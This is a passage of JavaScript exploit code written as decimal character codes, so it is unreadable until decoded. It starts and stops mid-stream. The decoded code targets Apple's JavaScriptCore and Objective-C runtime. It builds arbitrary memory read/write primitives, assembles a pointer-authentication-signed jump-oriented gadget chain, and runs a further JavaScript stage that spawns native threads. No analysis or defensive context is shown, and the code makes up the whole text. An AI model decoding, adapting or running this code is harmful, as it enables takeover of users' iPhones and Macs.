65, 114, 103, 117, 109, 101, 110, 116, 58, 97, 116, 73, 110, 100, 101, 120, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 115, 116, 97, 114, 116, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 115, 116, 97, 114, 116, 34, 41, 41, 59, 10, 10, 108, 101, 116, 32, 105, 110, 118, 111, 107, 101, 95, 99, 108, 97, 115, 115, 32, 32, 32, 61, 32, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 40, 34, 78, 83, 73, 110, 118, 111, 99, 97, 116, 105, 111, 110, 34, 41, 59, 10, 108, 101, 116, 32, 106, 115, 99, 95, 99, 108, 97, 115, 115, 32, 32, 32, 32, 32, 32, 61, 32, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 40, 34, 74, 83, 67, 111, 110, 116, 101, 120, 116, 34, 41, 59, 10, 108, 101, 116, 32, 110, 115, 116, 104, 114, 101, 97, 100, 95, 99, 108, 97, 115, 115, 32, 61, 32, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 40, 34, 78, 83, 84, 104, 114, 101, 97, 100, 34, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 99, 115, 116, 114, 105, 110, 103, 41, 10, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 87, 105, 116, 104, 67, 83, 116, 114, 105, 110, 103, 40, 107, 67, 70, 65, 108, 108, 111, 99, 97, 116, 111, 114, 68, 101, 102, 97, 117, 108, 116, 44, 32, 99, 115, 116, 114, 105, 110, 103, 44, 32, 107, 67, 70, 83, 116, 114, 105, 110, 103, 69, 110, 99, 111, 100, 105, 110, 103, 85, 84, 70, 56, 41, 59, 10, 125, 10, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 98, 111, 120, 101, 100, 95, 97, 114, 114, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 98, 111, 120, 101, 100, 95, 97, 114, 114, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 114, 114, 97, 121, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 114, 114, 97, 121, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 105, 115, 78, 97, 78, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 115, 78, 97, 78, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 114, 119, 95, 97, 114, 114, 97, 121, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 34, 41, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 95, 99, 111, 112, 121, 40, 99, 102, 115, 116, 114, 105, 110, 103, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 67, 111, 112, 121, 40, 107, 67, 70, 65, 108, 108, 111, 99, 97, 116, 111, 114, 68, 101, 102, 97, 117, 108, 116, 44, 32, 99, 102, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 40, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 108, 101, 97, 115, 101, 40, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 114, 101, 108, 101, 97, 115, 101, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 111, 98, 106, 44, 32, 99, 102, 115, 116, 114, 95, 107, 101, 121, 41, 10, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 44, 32, 99, 102, 115, 116, 114, 95, 107, 101, 121, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 40, 111, 98, 106, 44, 32, 106, 115, 99, 114, 105, 112, 116, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 44, 32, 106, 115, 99, 114, 105, 112, 116, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 40, 111, 98, 106, 44, 32, 115, 101, 108, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 44, 32, 115, 101, 108, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 40, 111, 98, 106, 44, 32, 115, 105, 103, 41, 10, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 44, 32, 115, 105, 103, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 40, 111, 98, 106, 44, 32, 97, 114, 103, 44, 32, 105, 100, 120, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 44, 32, 97, 114, 103, 44, 32, 105, 100, 120, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 95, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 40, 111, 98, 106, 44, 32, 116, 97, 114, 103, 101, 116, 44, 32, 115, 101, 108, 44, 32, 111, 98, 106, 101, 99, 116, 41, 10, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 95, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 44, 32, 116, 97, 114, 103, 101, 116, 44, 32, 115, 101, 108, 44, 32, 111, 98, 106, 101, 99, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 110, 115, 116, 104, 114, 101, 97, 100, 95, 115, 116, 97, 114, 116, 40, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 115, 116, 97, 114, 116, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 101, 116, 117, 112, 95, 102, 99, 97, 108, 108, 95, 106, 111, 112, 99, 104, 97, 105, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 32, 61, 32, 109, 97, 108, 108, 111, 99, 40, 80, 65, 71, 69, 95, 83, 73, 90, 69, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 61, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 49, 48, 48, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 32, 32, 61, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 50, 48, 48, 110, 59, 10, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 48, 110, 44, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 56, 110, 44, 32, 112, 97, 99, 105, 97, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 44, 32, 48, 110, 41, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 49, 48, 110, 44, 32, 112, 97, 99, 105, 97, 40, 95, 67, 70, 79, 98, 106, 101, 99, 116, 67, 111, 112, 121, 80, 114, 111, 112, 101, 114, 116, 121, 44, 32, 48, 110, 41, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 52, 48, 110, 44, 32, 112, 97, 99, 105, 97, 40, 106, 115, 118, 109, 95, 105, 115, 78, 65, 78, 95, 102, 99, 97, 108, 108, 95, 103, 97, 100, 103, 101, 116, 50, 44, 32, 48, 110, 41, 41, 59, 10, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 50, 48, 110, 44, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 52, 48, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 50, 56, 110, 44, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 32, 45, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 51, 48, 110, 44, 32, 112, 97, 99, 105, 97, 40, 48, 120, 52, 49, 52, 49, 52, 49, 52, 49, 110, 44, 32, 48, 120, 67, 50, 68, 48, 110, 41, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 53, 48, 110, 44, 32, 112, 97, 99, 105, 97, 40, 102, 99, 97, 108, 108, 95, 49, 52, 95, 97, 114, 103, 115, 95, 119, 114, 105, 116, 101, 95, 120, 56, 44, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 53, 48, 110, 41, 41, 59, 10, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 34, 32, 58, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 112, 99, 34, 32, 58, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 51, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 34, 32, 58, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 44, 10, 32, 32, 32, 32, 125, 59, 10, 125, 10, 10, 108, 101, 116, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 32, 61, 32, 48, 110, 59, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 95, 115, 112, 97, 119, 110, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 44, 32, 116, 97, 114, 103, 101, 116, 95, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 32, 61, 32, 48, 120, 48, 110, 41, 10, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 121, 112, 101, 111, 102, 32, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 32, 61, 61, 61, 32, 34, 115, 116, 114, 105, 110, 103, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 41, 59, 10, 32, 32, 32, 32, 125, 32, 101, 108, 115, 101, 32, 105, 102, 32, 40, 116, 121, 112, 101, 111, 102, 32, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 32, 61, 61, 61, 32, 34, 111, 98, 106, 101, 99, 116, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 117, 114, 101, 97, 100, 54, 52, 40, 97, 100, 100, 114, 111, 102, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 41, 59, 10, 32, 32, 32, 32, 125, 32, 101, 108, 115, 101, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 32, 105, 110, 32, 116, 104, 105, 115, 32, 99, 97, 115, 101, 44, 32, 105, 116, 39, 115, 32, 97, 108, 114, 101, 97, 100, 121, 32, 97, 32, 67, 70, 83, 116, 114, 105, 110, 103, 44, 32, 115, 111, 32, 108, 101, 116, 39, 115, 32, 106, 117, 115, 116, 32, 99, 111, 112, 121, 32, 105, 116, 10, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 95, 99, 111, 112, 121, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 59, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 32, 61, 32, 115, 101, 116, 117, 112, 95, 102, 99, 97, 108, 108, 95, 106, 111, 112, 99, 104, 97, 105, 110, 40, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 61, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 91, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 112, 99, 32, 32, 32, 61, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 91, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 112, 99, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 32, 61, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 91, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 34, 93, 59, 10, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 116, 120, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 95, 105, 110, 105, 116, 40, 106, 115, 99, 95, 99, 108, 97, 115, 115, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 110, 97, 110, 95, 118, 97, 108, 117, 101, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 105, 115, 78, 97, 78, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 110, 97, 110, 95, 102, 117, 110, 99, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 105, 115, 110, 97, 110, 95, 118, 97, 108, 117, 101, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 110, 97, 110, 95, 101, 120, 101, 99, 117, 116, 97, 98, 108, 101, 95, 97, 100, 100, 114, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 105, 115, 110, 97, 110, 95, 102, 117, 110, 99, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 110, 97, 110, 95, 99, 111, 100, 101, 95, 112, 116, 114, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 105, 115, 110, 97, 110, 95, 101, 120, 101, 99, 117, 116, 97, 98, 108, 101, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 50, 56, 110, 59, 10, 32, 32, 32, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 115, 116, 97, 103, 101, 49, 95, 106, 115, 41, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 115, 101, 116, 117, 112, 32, 97, 100, 100, 114, 111, 102, 32, 112, 114, 105, 109, 115, 10, 32, 32, 32, 32, 108, 101, 116, 32, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 118, 97, 108, 117, 101, 32, 61, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 97, 100, 100, 114, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 118, 97, 108, 117, 101, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 118, 97, 108, 117, 101, 32, 32, 32, 61, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 98, 111, 120, 101, 100, 95, 97, 114, 114, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 97, 100, 100, 114, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 118, 97, 108, 117, 101, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 98, 117, 116, 116, 101, 114, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 56, 110, 44, 32, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 98, 117, 116, 116, 101, 114, 41, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 115, 101, 116, 117, 112, 32, 114, 119, 54, 52, 32, 112, 114, 105, 109, 10, 32, 32, 32, 32, 108, 101, 116, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 41, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 41, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 114, 119, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 44, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 43, 32, 48, 